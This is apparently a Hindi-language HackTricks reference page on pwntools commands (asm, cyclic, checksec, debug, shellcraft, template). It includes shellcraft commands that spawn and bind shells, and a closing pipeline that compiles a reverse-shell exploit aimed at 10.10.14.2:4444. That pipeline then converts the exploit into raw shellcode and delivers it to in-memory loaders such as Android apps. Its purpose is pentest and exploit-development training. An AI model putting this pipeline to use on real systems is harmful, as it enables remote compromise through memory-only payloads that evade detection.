PwnTools

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें
pip3 install pwntools

Pwn asm

लाइन या फ़ाइल से opcodes प्राप्त करें।

pwn asm "jmp esp"
pwn asm -i <filepath>

चुन सकते हैं:

  • आउटपुट प्रकार (raw,hex,string,elf)
  • आउटपुट फ़ाइल संदर्भ (16,32,64,linux,windows...)
  • बाइट्स से बचें (new lines, null, a list)
  • encoder चुनें, debug shellcode का उपयोग करके gdb में आउटपुट चलाएँ

Pwn checksec

Checksec स्क्रिप्ट

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

पैटर्न प्राप्त करें

pwn cyclic 3000
pwn cyclic -l faad

चुन सकते हैं:

  • उपयोग की गई वर्णमाला (डिफ़ॉल्ट रूप से छोटे अक्षर)
  • uniq पैटर्न की लंबाई (डिफ़ॉल्ट 4)
  • context (16,32,64,linux,windows...)
  • ऑफसेट लें (-l)

Pwn debug

GDB को किसी प्रोसेस से जोड़ें

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

चुन सकते हैं:

  • executable के द्वारा, name के द्वारा या pid context के द्वारा (16,32,64,linux,windows...)
  • gdbscript चलाने के लिए
  • sysrootpath

Pwn disablenx

किसी binary का nx अक्षम करें

pwn disablenx <filepath>

Pwn disasm

hex opcodes को डिसअसेंबल करें

pwn disasm ffe4

चुन सकते हैं:

  • context (16,32,64,linux,windows...)
  • बेस एड्रेस
  • रंग (डिफ़ॉल्ट)/कोई रंग नहीं

Pwn elfdiff

दो फाइलों के बीच अंतर प्रिंट करें

pwn elfdiff <file1> <file2>

Pwn hex

हेक्साडेसिमल प्रतिनिधित्व प्राप्त करें

bash
pwn hex hola #Get hex of "hola" ascii

Pwn phd

hexdump प्राप्त करें

pwn phd <file>

चुन सकते हैं:

  • दिखाने के लिए बाइट्स की संख्या
  • प्रति पंक्ति दिखने वाले बाइट्स की संख्या और हाइलाइट बाइट
  • शुरुआत में बाइट्स छोड़ें

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

shellcodes प्राप्त करें

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

चुन सकते हैं:

  • shellcode और shellcode के लिए arguments
  • आउट फ़ाइल
  • आउटपुट फ़ॉर्मेट
  • debug (dbg को shellcode से attach करें)
  • before (debug trap before code)
  • बाद
  • opcodes का उपयोग टालें (डिफ़ॉल्ट: null और new line नहीं)
  • shellcode चलाएँ
  • रंग/बिना रंग
  • syscalls की सूची
  • संभावित shellcodes की सूची
  • ELF को shared library के रूप में बनाएँ

Pwn template

एक python टेम्पलेट प्राप्त करें

pwn template

चुन सकते हैं: host, port, user, pass, path and quiet

Pwn unhex

hex को string में

pwn unhex 686f6c61

Pwn अपडेट

pwntools को अपडेट करने के लिए

pwn update

ELF → raw shellcode पैकेजिंग (loader_append)

Pwntools एक standalone ELF को एक single raw shellcode blob में बदल सकता है जो अपने segments को self‑map करता है और execution को मूल entrypoint पर ट्रांसफर कर देता है। यह memory‑only loaders के लिए आदर्श है (उदा., Android apps जो JNI को invoke करके downloaded bytes को execute करते हैं)।

Typical pipeline (amd64 example)

  1. एक static, position‑independent payload ELF बनाएं (portability के लिए musl की सिफारिश की जाती है):
bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. ELF → shellcode को pwntools के साथ रूपांतरित करें:
python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. sc को एक memory loader (उदा., HTTP[S] के माध्यम से) तक पहुँचाकर इन‑प्रोसेस में execute करें।

नोट्स

  • loader_append मूल ELF प्रोग्राम को shellcode में embed करता है और एक छोटा loader emit करता है जो segments को mmaps करता है और entry पर jump करता है।
  • context.clear(arch=...) के माध्यम से architecture के बारे में स्पष्ट रहें। arm64 Android पर आम है।
  • अपने payload के code को position‑independent रखें और process के ASLR/NX के बारे में अनुमान लगाने से बचें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें